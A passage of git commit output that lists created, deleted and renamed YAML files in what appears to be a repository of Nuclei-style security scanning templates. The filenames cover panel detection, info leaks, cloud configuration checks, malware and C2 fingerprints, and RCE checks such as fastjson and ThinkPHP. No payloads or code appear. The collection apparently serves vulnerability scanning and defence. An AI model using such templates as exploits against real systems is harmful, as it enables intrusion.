poc/oracle/oracle-ebs-sqllog-disclosure-9371.yaml create mode 100644 poc/oracle/oracle-ebs-xss-9373.yaml delete mode 100644 poc/oracle/oracle-ebs-xss-9376.yaml create mode 100644 poc/oracle/oracle-ebusiness-panel.yaml create mode 100644 poc/oracle/oracle-iplanet-web-server-9393.yaml rename poc/oracle/{oracle-iplanet-web-server-9392.yaml => oracle-iplanet-web-server.yaml} (100%) create mode 100644 poc/oracle/oracle-oam-xss.yaml delete mode 100644 poc/oracle/oracle-people-enterprise-9396.yaml create mode 100644 poc/oracle/oracle-peoplesoft-panel.yaml create mode 100644 poc/other/3cx-management-console-1.yaml delete mode 100644 poc/other/3cx-management-console.yaml delete mode 100644 poc/other/3g-wireless-gateway-5.yaml create mode 100644 poc/other/3g-wireless-gateway.yaml delete mode 100644 poc/other/LayerSlider-plugin.yaml delete mode 100644 poc/other/WSO2-2019-0598.yaml create mode 100644 poc/other/X-Remote-IP.yaml create mode 100644 poc/other/ackee-panel.yaml create mode 100644 poc/other/acm-cert-renewal-30days.yaml create mode 100644 poc/other/acm-cert-renewal-45days.yaml create mode 100644 poc/other/acm-cert-validation.yaml create mode 100644 poc/other/acm-wildcard-cert.yaml rename poc/other/{acrolinx-dashboard-37.yaml => acrolinx-dashboard-38.yaml} (100%) create mode 100644 poc/other/acunetix-panel-56.yaml delete mode 100644 poc/other/advance-setup-119.yaml create mode 100644 poc/other/advance-setup-120.yaml create mode 100644 poc/other/akamai-cloudtest-250.yaml rename poc/other/{akamai-cloudtest-254.yaml => akamai-cloudtest-253.yaml} (100%) create mode 100644 poc/other/algonomia-panel.yaml create mode 100644 poc/other/alibaba-canal-info-leak-266.yaml delete mode 100644 poc/other/alienvault-usm-271.yaml rename poc/other/{alienvault-usm.yaml => alienvault-usm-274.yaml} (100%) rename poc/other/{ampps-admin-panel.yaml => ampps-admin-panel-305.yaml} (100%) rename poc/other/{ampps-dirlisting.yaml => ampps-dirlisting-308.yaml} (100%) create mode 100644 poc/other/amprion-gridloss-panel.yaml delete mode 100644 poc/other/antsword-backdoor-333.yaml create mode 100644 poc/other/arcgis-panel-530.yaml delete mode 100644 poc/other/arcgis-panel-531.yaml delete mode 100644 poc/other/artifactory-anonymous-deploy-549.yaml delete mode 100644 poc/other/aspose-file-download.yaml rename poc/other/{aspose-ie-file-download.yaml => aspose-ie-file-download-563.yaml} (100%) delete mode 100644 poc/other/aspose-pdf-file-download-566.yaml delete mode 100644 poc/other/aspose-words-file-download-572.yaml create mode 100644 poc/other/aurora-copy-tags-snap.yaml create mode 100644 poc/other/aurora-delete-protect.yaml delete mode 100644 poc/other/aviatrix-panel-608.yaml create mode 100644 poc/other/aviatrix-panel-609.yaml rename poc/other/{avtech-avn801-camera-panel-611.yaml => avtech-avn801-camera-panel-612.yaml} (100%) create mode 100644 poc/other/axis-happyaxis-670.yaml delete mode 100644 poc/other/axis-happyaxis.yaml create mode 100644 poc/other/backdoored-zte.yaml create mode 100644 poc/other/balada-injector-malware.yaml delete mode 100644 poc/other/barracuda-panel-684.yaml rename poc/other/{basic-dns-example.yaml => basic.yaml} (100%) create mode 100644 poc/other/bdthemes-prime-slider-lite-475fbc1aca31aceb6f865c30665d01ea.yaml create mode 100644 poc/other/beanstalk-service.yaml create mode 100644 poc/other/betterdocs-232384040a6ffc92a66d8388c56c0ecc.yaml create mode 100644 poc/other/beyondtrust-panel-720.yaml create mode 100644 poc/other/beyondtrust-priv-panel.yaml delete mode 100644 poc/other/bigip.yaml delete mode 100644 poc/other/bitrix-panel-748.yaml create mode 100644 poc/other/bitrix-panel-750.yaml create mode 100644 poc/other/bubble-menu-56e1af4c59d8c0005b23c72b9b239471.yaml create mode 100644 poc/other/buddyboss-platform-2273532906322a1e75c2bd0f6f3e3462.yaml create mode 100644 poc/other/buddypress-members-only.yaml create mode 100644 poc/other/busybox-repository-browser.yaml create mode 100644 poc/other/cache-poisoning-822.yaml create mode 100644 poc/other/call-now-button-6d3ab08ce97af09b7ea1501f5a68fe19.yaml create mode 100644 poc/other/cdn-cache-poisoning.yaml delete mode 100644 poc/other/certificate-validation-883.yaml create mode 100644 poc/other/certificate-validation-884.yaml create mode 100644 poc/other/cgi-printenv-885.yaml delete mode 100644 poc/other/cgi-printenv.yaml rename poc/other/{checkmarx-panel-895.yaml => checkmarx-panel-897.yaml} (100%) create mode 100644 poc/other/checkpoint-firewall-enum.yaml delete mode 100644 poc/other/checkpoint-panel-899.yaml create mode 100644 poc/other/citrix-xenmobile-version.yaml create mode 100644 poc/other/clearpass-policy-manager-997.yaml create mode 100644 poc/other/clever-fox-3e5f6730354b274bae3825d55a3e807a.yaml create mode 100644 poc/other/clever-fox-760fc00f8b1444124b62cac5e2485bd8.yaml create mode 100644 poc/other/clientaccesspolicy-1007.yaml create mode 100644 poc/other/cloudtrail-data-events.yaml create mode 100644 poc/other/cloudtrail-disabled.yaml create mode 100644 poc/other/cloudtrail-dup-logs.yaml create mode 100644 poc/other/cloudtrail-global-disabled.yaml create mode 100644 poc/other/cloudtrail-integrated-cloudwatch.yaml create mode 100644 poc/other/cloudtrail-log-integrity.yaml create mode 100644 poc/other/cloudtrail-mfa-delete.yaml create mode 100644 poc/other/cloudtrail-mgmt-events.yaml create mode 100644 poc/other/cloudtrail-public-buckets.yaml create mode 100644 poc/other/cname-fingerprint-1030.yaml rename poc/other/{cockpit-workflow-1129.yaml => cockpit-workflow.yaml} (100%) delete mode 100644 poc/other/codeigniter-env-1133.yaml create mode 100644 poc/other/codeigniter-env-1134.yaml create mode 100644 poc/other/cofense-vision-panel-1142.yaml delete mode 100644 poc/other/cold-fusion-cfcache-map-1148.yaml create mode 100644 poc/other/colibri-page-builder-e42fa2a34264920250ef59d5ac69f0cc.yaml create mode 100644 poc/other/commons-booking.yaml delete mode 100644 poc/other/compal.yaml create mode 100644 poc/other/concourse-ci-panel-1169.yaml delete mode 100644 poc/other/concrete5-panel-1172.yaml create mode 100644 poc/other/concrete5-panel-1173.yaml rename poc/other/{contacam.yaml => contacam-1197.yaml} (100%) delete mode 100644 poc/other/contacam-1198.yaml rename poc/other/{content-scheme-1205.yaml => content-scheme-1204.yaml} (100%) create mode 100644 poc/other/corebos-htaccess.yaml create mode 100644 poc/other/cp-appointment-calendar-045a374dcc4037ebae609408d4fe7a62.yaml create mode 100644 poc/other/cql-native-transport.yaml create mode 100644 poc/other/crossdomain-xml-1267.yaml delete mode 100644 poc/other/csod-panel-1286.yaml delete mode 100644 poc/other/csod-panel-1288.yaml create mode 100644 poc/other/cssable-countdown.yaml create mode 100644 poc/other/custom-dash.yaml create mode 100644 poc/other/custom_nuclei-8.yaml create mode 100644 poc/other/cw-alarm-action-set.yaml create mode 100644 poc/other/cyberchef-panel.yaml mode change 100644 => 100755 poc/other/d-link-arbitary-fileread.yaml create mode 100644 poc/other/d-link-wireless-7047.yaml delete mode 100644 poc/other/d-link-wireless-7048.yaml create mode 100644 poc/other/darkcomet-trojan.yaml create mode 100644 poc/other/darktrack-rat-trojan.yaml create mode 100644 poc/other/deimos-c2-jarm.yaml create mode 100644 poc/other/deployment-ini.yaml delete mode 100644 poc/other/development-logs-6989.yaml rename poc/other/{dir-listing-7003.yaml => dir-listing-7006.yaml} (100%) create mode 100644 poc/other/directory-listing.yaml rename poc/other/{dlink-850l-info-leak-7039.yaml => dlink-850l-info-leak-7035.yaml} (100%) delete mode 100755 poc/other/dlink-file-read.yaml create mode 100644 poc/other/domcfg-page-7077.yaml create mode 100644 poc/other/dop-shortcodes.yaml create mode 100644 poc/other/doris-dashboard.yaml create mode 100644 poc/other/download-plugins-dashboard-decdf27e06d73ea0c2c681651a479037.yaml delete mode 100644 poc/other/drone-ci-panel-7091.yaml rename poc/other/{druid-monitor-7103.yaml => druid-monitor-7104.yaml} (100%) create mode 100644 poc/other/ds-store-file.yaml delete mode 100644 poc/other/ds_store-7119.yaml create mode 100644 poc/other/dss-download-fileread.yaml delete mode 100644 poc/other/dynamic-broadcast-receiver-7140.yaml create mode 100644 poc/other/dynamic-widgets-e1b0f6560fbae95c0c8c368c89e53632.yaml create mode 100644 poc/other/easy-media-gallery-pro-listing.yaml create mode 100644 poc/other/easycvr-info-leak.yaml create mode 100644 poc/other/easyvista-panel.yaml create mode 100644 poc/other/edd-recent-purchases.yaml delete mode 100644 poc/other/emerson-power-panel-7216.yaml rename poc/other/{Bitrix_check_env.yaml => env.yaml} (100%) create mode 100644 poc/other/envo-extra-bb86aa3ef5ea1f7e921c4bd240f603ab.yaml delete mode 100644 poc/other/epson-wf-series-7244.yaml create mode 100644 poc/other/epson-wf-series.yaml delete mode 100644 poc/other/error-logs-7251.yaml create mode 100644 poc/other/f-secure-policy-manager-7564.yaml create mode 100644 poc/other/f5-next-central-manager.yaml delete mode 100644 poc/other/file-scheme-7468.yaml rename poc/other/{firebase_urls.yaml => firebase-urls.yaml} (100%) delete mode 100644 poc/other/flightpath-panel-7507.yaml create mode 100644 poc/other/flightpath-panel-7508.yaml create mode 100644 poc/other/fortimail-panel-7532.yaml create mode 100644 poc/other/fortisiem-panel.yaml create mode 100644 poc/other/ganglia-xml-grid-monitor-7573.yaml create mode 100644 poc/other/ganglia-xml-grid-monitor-7574.yaml delete mode 100644 poc/other/getsimple-installation-7618.yaml create mode 100644 poc/other/getsimple-installation.yaml create mode 100644 poc/other/gianism-401983e3395b4d1d81fca660d75190d4.yaml create mode 100644 poc/other/give-4024a5687a80d640de35c54faefaa3a6.yaml create mode 100644 poc/other/global-notification-bar.yaml delete mode 100644 poc/other/globalprotect-panel-7721.yaml create mode 100644 poc/other/glpi-directory-listing-7734.yaml delete mode 100644 poc/other/glpi-directory-listing.yaml delete mode 100644 poc/other/glpidirectorylisting(1).yaml delete mode 100644 poc/other/go-anywhere-client-7743.yaml create mode 100644 poc/other/go-anywhere-client-7745.yaml delete mode 100644 poc/other/gogs-workflow-7760.yaml create mode 100644 poc/other/gogs-workflow.yaml delete mode 100644 poc/other/grafana-workflow-7818.yaml create mode 100644 poc/other/grafana-workflow.yaml create mode 100644 poc/other/h2o-arbitary-file-read.yaml delete mode 100644 poc/other/heatmiser-wifi-thermostat.yaml delete mode 100644 poc/other/hikvision-info-leak-7958.yaml create mode 100644 poc/other/hikvision-info-leak.yaml create mode 100644 poc/other/hitron-technologies-7959.yaml delete mode 100644 poc/other/hitron-technologies-7962.yaml rename poc/other/{hjtcloud-arbitrary-file-read.yaml => hjtcloud-arbitrary-file-read-7971.yaml} (100%) rename poc/other/{hjtcloud-rest-arbitrary-file-read-7973.yaml => hjtcloud-rest-arbitrary-file-read.yaml} (100%) delete mode 100644 poc/other/home-assistant-7981.yaml create mode 100644 poc/other/hp-ilo-5-8020.yaml delete mode 100644 poc/other/hp-ilo-5-8021.yaml create mode 100644 poc/other/hp-service-manager-8034.yaml create mode 100644 poc/other/hpe-system-management-anonymous-8013.yaml create mode 100644 poc/other/ht-deployment.yaml create mode 100644 poc/other/huijietong-cloud-fileread-8086.yaml create mode 100644 poc/other/iam-full-admin-privileges.yaml create mode 100644 poc/other/iam-mfa-enable.yaml create mode 100644 poc/other/idonate-1ace5675b1d0e0c2c55b706529d8c6a1.yaml create mode 100644 poc/other/interlib-fileread-8170.yaml delete mode 100644 poc/other/internet-service.yaml rename poc/other/{ioncube-loader-wizard-8185.yaml => ioncube-loader-wizard.yaml} (100%) delete mode 100644 poc/other/itop-panel-8204.yaml create mode 100644 poc/other/itop-panel-8205.yaml create mode 100644 poc/other/jamf-panel-8216.yaml create mode 100644 poc/other/jitsi-meet-8342.yaml delete mode 100644 poc/other/jmx-console-8351.yaml create mode 100644 poc/other/jmx-console-8352.yaml create mode 100644 poc/other/jolokia-8367.yaml create mode 100644 poc/other/jolokia-list-8360.yaml create mode 100644 poc/other/just-writing-statistics.yaml create mode 100644 poc/other/keo-klr300n-install.yaml create mode 100644 poc/other/kerio-connect-client-8450.yaml delete mode 100644 poc/other/kerio-connect-client-8452.yaml delete mode 100644 poc/other/klr300n-installer.yaml create mode 100644 poc/other/kyocera-printer-panel.yaml delete mode 100644 poc/other/lancom-router-panel-8562.yaml create mode 100644 poc/other/lancom-router-panel-8564.yaml delete mode 100644 poc/other/layerslider-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml create mode 100644 poc/other/liveview-axis-camera-8647.yaml rename poc/other/{liveview-axis-camera-8648.yaml => liveview-axis-camera.yaml} (100%) create mode 100644 poc/other/logo-manager-for-enamad-7029e0a44d078c421cedc8f72aeff9cf.yaml create mode 100644 poc/other/lotus-domino-version-8654.yaml delete mode 100644 poc/other/lotus-domino-version-8655.yaml create mode 100644 poc/other/lucee-stack-trace-8667.yaml delete mode 100644 poc/other/manageengine-adaudit-8729.yaml create mode 100644 poc/other/manageengine-adaudit-8730.yaml create mode 100644 poc/other/manageengine-adselfservice-8737.yaml delete mode 100644 poc/other/manageengine-adselfservice-8738.yaml delete mode 100644 poc/other/manageengine-analytics-8742.yaml rename poc/other/{manageengine-applications-manager-8751.yaml => manageengine-applications-manager-8753.yaml} (100%) delete mode 100644 poc/other/manageengine-assetexplorer-8756.yaml create mode 100644 poc/other/manageengine-servicedesk-8771.yaml create mode 100644 poc/other/manageengine-supportcenter-8776.yaml create mode 100644 poc/other/market-exporter-fd31cf9a67dfd6607728a3a84f437f42.yaml create mode 100644 poc/other/master-addons-12837c486f79b2de1532e687b9743c18.yaml create mode 100644 poc/other/master-addons-dcc4025ee13d70815a22cffab60ba7f6.yaml rename poc/other/{matcher-with-or.yaml => matcher-with-and.yaml} (100%) create mode 100644 poc/other/matomo-panel.yaml delete mode 100644 poc/other/memcached-stats-8799.yaml create mode 100644 poc/other/memcached-stats-8800.yaml create mode 100644 poc/other/metadata-alibaba-8809.yaml delete mode 100644 poc/other/metadata-azure.yaml create mode 100644 poc/other/milesight-system-log.yaml create mode 100644 poc/other/mobile-menu-670b06183f6b9014eca97668628043e9.yaml delete mode 100644 poc/other/mobileiron(1).yaml create mode 100644 poc/other/moodle-changelog-8934.yaml delete mode 100644 poc/other/moodle-changelog-8936.yaml create mode 100644 poc/other/mx-fingerprint.yaml create mode 100644 poc/other/n8n-panel.yaml delete mode 100644 poc/other/nagios-status-page-8996.yaml create mode 100644 poc/other/nameserver-fingerprint.yaml create mode 100644 poc/other/neos-panel-9015.yaml delete mode 100644 poc/other/neos-panel-9016.yaml create mode 100644 poc/other/netis-info-leak.yaml delete mode 100644 poc/other/netrc-9045.yaml create mode 100644 poc/other/newsletter-popup-114cfddce267d2426de36e74c7760459.yaml create mode 100644 poc/other/newsletter-popup-129de9be75b14b677a6aafdd92169861.yaml create mode 100644 poc/other/newsletter-popup-177bba029014f08fe08b4b123296a5c9.yaml create mode 100644 poc/other/newsletter-popup-ecdaf335dcb4612e4e55262c33b29a21.yaml create mode 100644 poc/other/nextcloud-install-9084.yaml delete mode 100644 poc/other/nextcloud-install-9085.yaml create mode 100644 poc/other/nextgen-gallery-82ee51f84315a8f0151d8f4e4cbb00b8.yaml create mode 100644 poc/other/nifi-detech-9131.yaml create mode 100644 poc/other/ninja-gdpr-compliance-4a8179b4ab7e25214c189c7ef486b47b.yaml create mode 100644 poc/other/nomad-jobs.yaml create mode 100644 poc/other/ns-asg-file-read-9150.yaml delete mode 100644 poc/other/ns-asg-file-read-9152.yaml create mode 100644 poc/other/oki-data-9224.yaml delete mode 100644 poc/other/oki-data-9226.yaml create mode 100644 poc/other/okiko-sfiler-portal-9227.yaml create mode 100644 poc/other/okta-panel-9231.yaml delete mode 100644 poc/other/okta-panel-9233.yaml create mode 100644 poc/other/oob-param-based-interaction-9252.yaml delete mode 100644 poc/other/oob-param-based-interaction.yaml delete mode 100644 poc/other/open-mjpg-streamer.yaml rename poc/other/{open-proxy-internal-9290.yaml => open-proxy-internal-9289.yaml} (100%) delete mode 100644 poc/other/open-proxy-localhost-9292.yaml create mode 100644 poc/other/open-proxy-portscan-9294.yaml delete mode 100644 poc/other/open-proxy-portscan-9295.yaml create mode 100644 poc/other/open-virtualization-manager-panel-9328.yaml create mode 100644 poc/other/opengraph.yaml create mode 100644 poc/other/opensis-workflow-9318.yaml delete mode 100644 poc/other/opensis-workflow-9319.yaml create mode 100644 poc/other/orcus-rat-trojan.yaml delete mode 100644 poc/other/panasonic-network-management-9447.yaml rename poc/other/{panasonic-network-management.yaml => panasonic-network-management-9448.yaml} (100%) rename poc/other/{pentaho-panel-9483.yaml => pentaho-panel-9481.yaml} (100%) create mode 100644 poc/other/photo-gallery-c4b2bd655208b0ec3cfbeae097899025.yaml create mode 100644 poc/other/photo-gallery-c8a2a56a143be3bfde8508e8d26b0f3f.yaml rename poc/other/{plesk-stat-9603.yaml => plesk-stat.yaml} (100%) create mode 100644 poc/other/pocketbase-panel.yaml create mode 100644 poc/other/pop3-capabilities-enum.yaml create mode 100644 poc/other/portainer-init-deploy-9630.yaml create mode 100644 poc/other/post-grid-a55c3c70cbfa575e9959de0f22d4a3ef.yaml create mode 100644 poc/other/post-grid-a76c30b285c21bc1f058ce539100d08d.yaml create mode 100644 poc/other/postmessage-outgoing-tracker-9634.yaml delete mode 100644 poc/other/postmessage-outgoing-tracker-9636.yaml rename poc/other/{powerlogic-ion-9648.yaml => powerlogic-ion-9650.yaml} (100%) create mode 100644 poc/other/preferred-languages.yaml create mode 100644 poc/other/production-logs-9663.yaml delete mode 100644 poc/other/production-logs-9664.yaml create mode 100644 poc/other/prometheus-exporter.yaml delete mode 100644 poc/other/prometheus-flags-endpoint-9685.yaml create mode 100644 poc/other/prometheus-targets-9691.yaml create mode 100644 poc/other/promothoues-panel (copy 1).yaml create mode 100644 poc/other/prototype-pollution-check-9697.yaml create mode 100644 poc/other/provider-path-9700.yaml delete mode 100644 poc/other/provider-path-9702.yaml rename poc/other/{ptr.yaml => ptr-fingerprint.yaml} (100%) create mode 100644 poc/other/publicly-shared-ami.yaml delete mode 100644 poc/other/pulse-secure-panel-9712.yaml create mode 100644 poc/other/pure-chat-df530c7666ae8fd104d667c14e462955.yaml delete mode 100644 poc/other/put-m-enb.yaml create mode 100644 poc/other/put-method-enabled-9728.yaml create mode 100644 poc/other/pypicloud-panel-9734.yaml delete mode 100644 poc/other/qdpm-info-leak-9753.yaml create mode 100644 poc/other/qi-addons-for-elementor-357bb8d756f5d2f37cc24a4429d83144.yaml create mode 100644 poc/other/qi-blocks.yaml create mode 100644 poc/other/qlikview-accesspoint-panel.yaml create mode 100644 poc/other/qubely-2fef24a02beed0ca3ee1c97b269ac63f.yaml create mode 100644 poc/other/quiz-master-next-fd9111bfdf6acc13559e67ec7a94afb6.yaml create mode 100644 poc/other/radius-manager-9794.yaml delete mode 100644 poc/other/radius-manager-9796.yaml rename poc/other/{get-override-sni.yaml => raw-get.yaml} (100%) create mode 100644 poc/other/rds-deletion-protection.yaml create mode 100644 poc/other/rds-encryption-check.yaml create mode 100644 poc/other/rds-gp-ssd-usage.yaml create mode 100644 poc/other/rds-public-snapshot.yaml create mode 100644 poc/other/rds-public-subnet.yaml create mode 100644 poc/other/rds-ri-payment-fail.yaml create mode 100644 poc/other/rds-snapshot-encryption.yaml create mode 100644 poc/other/request-based-interaction-9862.yaml delete mode 100644 poc/other/resin-viewfile-lfr-9874.yaml create mode 100644 poc/other/restrict-for-elementor.yaml create mode 100644 poc/other/robots-9889.yaml create mode 100644 poc/other/rotatingtweets.yaml create mode 100644 poc/other/royal-elementor-addons-4f5a8aeadf2922e0327814ecb5c98443.yaml create mode 100644 poc/other/royal-elementor-addons-a92f709af6d177e3d09e4b63911919c3.yaml delete mode 100644 poc/other/rsa-self-service-9910.yaml create mode 100644 poc/other/rsa-self-service-9912.yaml create mode 100644 poc/other/rsync-list-modules.yaml create mode 100644 poc/other/safety-exit.yaml create mode 100644 poc/other/securepoint-utm-10117.yaml delete mode 100644 poc/other/securepoint-utm-10118.yaml create mode 100644 poc/other/security-10123.yaml delete mode 100644 poc/other/security-10124.yaml create mode 100644 poc/other/selea-ip-camera-10134.yaml delete mode 100644 poc/other/selea-ip-camera-10136.yaml create mode 100644 poc/other/sermone-online-sermons-management-139bef5b5213790e12b84be388a01e90.yaml delete mode 100644 poc/other/server-status-localhost-10166.yaml rename poc/other/{shell-history.yaml => shell-history-10191.yaml} (100%) delete mode 100644 poc/other/shell_scripts.yaml create mode 100644 poc/other/sidekiq-dashboard-10236.yaml delete mode 100644 poc/other/sidekiq-dashboard-10239.yaml delete mode 100644 poc/other/signatures-10268.yaml create mode 100644 poc/other/simple-image-popup-shortcode.yaml create mode 100644 poc/other/simple-spoiler.yaml rename poc/other/{sitecore-workflow-10293.yaml => sitecore-workflow.yaml} (100%) create mode 100644 poc/other/sitemap.yaml delete mode 100644 poc/other/skycaiji-admin-panel-10304.yaml create mode 100644 poc/other/skycaiji-admin-panel-10306.yaml create mode 100644 poc/other/skycaiji-install-10307.yaml rename poc/other/{skycaiji-install-10309.yaml => skycaiji-install.yaml} (100%) create mode 100644 poc/other/sliver-c2.yaml create mode 100644 poc/other/smartarget-message-bar.yaml create mode 100644 poc/other/smb-anonymous-access.yaml create mode 100644 poc/other/smb-enum-domains.yaml create mode 100644 poc/other/smb-enum.yaml create mode 100644 poc/other/smb-shares.yaml create mode 100644 poc/other/smb2-capabilities.yaml create mode 100644 poc/other/smb2-server-time.yaml create mode 100644 poc/other/sns-topic-public-accessible.yaml create mode 100644 poc/other/solr-fileread.yaml rename poc/other/{solr-query-dashboard-10369.yaml => solr-query-dashboard-10368.yaml} (100%) rename poc/other/{sonicwall-sslvpn-shellshock.yaml => sonicwall-sslvpn-shellshock-10391.yaml} (100%) delete mode 100644 poc/other/spidercontrol-scada-server-info-10413.yaml delete mode 100644 poc/other/splunk-enterprise-panel-10414.yaml delete mode 100644 poc/other/spoofable-spf-records-ptr-10425.yaml create mode 100644 poc/other/spoofable-spf-records-ptr-10427.yaml create mode 100644 poc/other/squid-analysis-report-generator-10514.yaml create mode 100644 poc/other/strong-testimonials-565f900d9ac7d0d275b247abbc27d24e.yaml delete mode 100644 poc/other/sugarcrm-panel-10570.yaml create mode 100644 poc/other/sugarcrm-panel-10571.yaml create mode 100644 poc/other/survey-maker-c78f50d4996c752f5124d6dc6fe3a65f.yaml rename poc/other/{symantec-messaging-gateway.yaml => symantec-messaging-gateway-10607.yaml} (100%) delete mode 100644 poc/other/symantec-messaging-gateway-10610.yaml create mode 100644 poc/other/symantec-pgp-global-directory-10611.yaml delete mode 100644 poc/other/symfony-profiler-10626.yaml create mode 100644 poc/other/symfony-profiler-10627.yaml create mode 100644 poc/other/tablepress-7f790570e9fba62eccb5ffe420d8073f.yaml create mode 100644 poc/other/teamcity-registration-enabled-10667.yaml delete mode 100644 poc/other/teamcity-registration-enabled.yaml rename poc/other/{teradici-pcoip.yaml => teradici-pcoip-10703.yaml} (100%) delete mode 100644 poc/other/terraform-enterprise-panel-10711.yaml create mode 100644 poc/other/the-events-calendar-0464bb1c8595f339063b8b62fe593fb5.yaml create mode 100644 poc/other/thinkcmf-arbitrary-code-execution-10715.yaml delete mode 100644 poc/other/thinkcmf-arbitrary-code-execution.yaml create mode 100644 poc/other/thinkcmf-workflow-10731.yaml delete mode 100644 poc/other/thinkcmf-workflow.yaml create mode 100644 poc/other/tiny-rss-panel.yaml create mode 100644 poc/other/tixeo-panel.yaml create mode 100644 poc/other/trace-method-10829.yaml create mode 100644 poc/other/trilium-notes-installer.yaml create mode 100644 poc/other/tutor-5fb6f94cd91216dd45b2cee5e3c557ca.yaml create mode 100644 poc/other/tutor-a4208fe029333655dfd3df582e680899.yaml delete mode 100644 poc/other/tuxedo-connected-controller-10852.yaml create mode 100644 poc/other/tuxedo-connected-controller-10855.yaml create mode 100644 poc/other/txt-fingerprint-10863.yaml delete mode 100644 poc/other/txt-fingerprint.yaml create mode 100644 poc/other/uipath-orchestrator-panel.yaml create mode 100644 poc/other/ultimate-elementor-e68a12fdcafb01b22f40f335bd58f52f.yaml create mode 100644 poc/other/uni-gui-framework.yaml create mode 100644 poc/other/unleash-panel.yaml create mode 100644 poc/other/ups-status-10985.yaml create mode 100644 poc/other/venomrat.yaml delete mode 100644 poc/other/wago-plc-panel-11091.yaml create mode 100644 poc/other/wago-plc-panel-11093.yaml delete mode 100644 poc/other/wireless-leakage.yaml create mode 100644 poc/other/woo-multi-currency-530de1beee68f2e517e341bc43961155.yaml create mode 100644 poc/other/woo-recent-purchases.yaml create mode 100644 poc/other/woo-tools-4bb78f5cc26a269fb835bac288361ee6.yaml create mode 100644 poc/other/wooyun-2015-148227(1).yaml delete mode 100644 poc/other/wooyun-2015-148227-11225.yaml create mode 100644 poc/other/workspace-one-uem-11391.yaml delete mode 100644 poc/other/workspace-one-uem-11394.yaml delete mode 100644 poc/other/wowza-streaming-engine-11397.yaml create mode 100644 poc/other/wowza-streaming-engine-11399.yaml create mode 100644 poc/other/ws-form-dd6bb5a30e71f1a78beb169352f3e583.yaml create mode 100644 poc/other/ws-form-pro-dd6bb5a30e71f1a78beb169352f3e583.yaml delete mode 100644 poc/other/xprober-service-11695.yaml create mode 100644 poc/other/xtremerat-trojan.yaml create mode 100644 poc/other/xxljob-panel-11715.yaml delete mode 100644 poc/other/xxljob-panel-11716.yaml delete mode 100644 poc/other/yarn-lock-11728.yaml create mode 100644 poc/other/zabbix-dashboards-access-11754.yaml delete mode 100644 poc/other/zabbix-dashboards-access-11757.yaml create mode 100644 poc/other/zabbix-error-11766.yaml rename poc/other/{zabbix-error-11764.yaml => zabbix-error.yaml} (100%) create mode 100644 poc/other/zhiyuan-oa-info-leak-11799.yaml delete mode 100644 poc/other/zuul-panel-11843.yaml create mode 100644 poc/other/zuul-panel.yml delete mode 100644 poc/perl/perl-status-9486.yaml create mode 100644 poc/perl/perl-status.yaml delete mode 100644 poc/php/clockwork-php-page-1018.yaml create mode 100644 poc/php/php-composer-binary.yaml delete mode 100644 poc/php/php-debug-bar-9507.yaml rename poc/php/{php-ini-9524.yaml => php-ini-9523.yaml} (100%) create mode 100644 poc/php/php-timeclock-xss-9550.yaml rename poc/php/{php-timeclock-xss-9554.yaml => php-timeclock-xss.yaml} (100%) delete mode 100644 poc/php/php-user-ini-disclosure-9559.yaml create mode 100644 poc/php/php-user-ini-disclosure-9560.yaml delete mode 100644 poc/php/php-warning-9562.yaml delete mode 100644 poc/php/php-zerodium-backdoor-rce-9569.yaml rename poc/php/{php-zerodium-backdoor-rce.yaml => php-zerodium-backdoor-rce-9570.yaml} (100%) delete mode 100644 poc/php/phpcollab-detect-9501.yaml create mode 100644 poc/php/phpcollab-workflow-9503.yaml delete mode 100644 poc/php/phpinfo-9517.yaml create mode 100644 poc/php/phpinfo-9521.yaml create mode 100644 poc/php/phpmyadmin-misconfiguration.yaml create mode 100644 poc/php/phpmyadmin-setup(1).yaml delete mode 100644 poc/php/phppgadmin-panel-9543.yaml delete mode 100644 poc/php/phpunit-9556.yaml create mode 100644 poc/php/phpunit-9557.yaml delete mode 100644 poc/php/phpwiki-lfi-9566.yaml create mode 100644 poc/php/ruijie-phpinfo-9951.yaml create mode 100644 poc/php/simplesamlphp-detect.yaml create mode 100644 poc/php/thinkphp-2-rce-10738.yaml delete mode 100644 poc/php/thinkphp-5022-rce-10746.yaml delete mode 100644 poc/php/twig-php-ssti-10856.yaml delete mode 100644 poc/php/wp-phpfreechat-xss-11527.yaml delete mode 100644 poc/python/autobahn-python-detect-595.yaml create mode 100644 poc/python/autobahn-python-detect.yaml delete mode 100644 poc/python/default-django-page-6841.yaml create mode 100644 poc/python/django-admin-panel-7021.yaml delete mode 100644 poc/python/django-admin-panel-7023.yaml create mode 100644 poc/python/django-debug-exposure-7031.yaml delete mode 100644 poc/python/django-framework-exceptions.yaml create mode 100644 poc/python/python-app-sql-exceptions-9744.yaml delete mode 100644 poc/python/python-app-sql-exceptions.yaml create mode 100644 poc/python/python-metrics-9745.yaml delete mode 100644 poc/python/python-metrics.yaml create mode 100644 poc/python/python-scanner-9748.yaml delete mode 100644 poc/python/python-scanner.yaml delete mode 100644 poc/rabbitmq/rabbitmq-dashboard-9776.yaml create mode 100644 poc/rabbitmq/rabbitmq-detect.yaml create mode 100644 poc/redis/redis-info.yaml create mode 100644 poc/redis/redis-require-auth.yaml delete mode 100644 poc/remote_code_execution/Landray OA treexml.tmpl Script RCE.yaml rename poc/remote_code_execution/{apache-flink-unauth-rce-355.yaml => apache-flink-unauth-rce-356.yaml} (100%) create mode 100644 poc/remote_code_execution/apache-flink-unauth-rce.yaml create mode 100644 poc/remote_code_execution/apache-httpd-rce-362.yaml delete mode 100644 poc/remote_code_execution/cisco-cloudcenter-suite-log4j-rce.yaml create mode 100644 poc/remote_code_execution/cisco-cloudcenter-suite-rce.yaml create mode 100644 poc/remote_code_execution/clockwatch-enterprise-rce.yaml delete mode 100644 poc/remote_code_execution/code42-log4j-rce-1132.yaml create mode 100644 poc/remote_code_execution/core-chuangtian-cloud-rce-1211.yaml delete mode 100644 poc/remote_code_execution/core-chuangtian-cloud-rce-1212.yaml create mode 100644 poc/remote_code_execution/elex-woocommerce-xss.yaml delete mode 100644 poc/remote_code_execution/eyou-email-rce-7381.yaml delete mode 100644 poc/remote_code_execution/eyou-email-rce-7382.yaml create mode 100644 poc/remote_code_execution/fastjson-1-2-24-rce.yaml delete mode 100644 poc/remote_code_execution/fastjson-1-2-42-rce-7407.yaml delete mode 100644 poc/remote_code_execution/fastjson-1-2-42-rce.yaml create mode 100644 poc/remote_code_execution/fastjson-1-2-47-rce.yaml delete mode 100644 poc/remote_code_execution/fastjson-1-2-62-rce.yaml delete mode 100644 poc/remote_code_execution/fastjson-1-2-68-rce-7425.yaml delete mode 100644 poc/remote_code_execution/gitlab-rce.yaml delete mode 100644 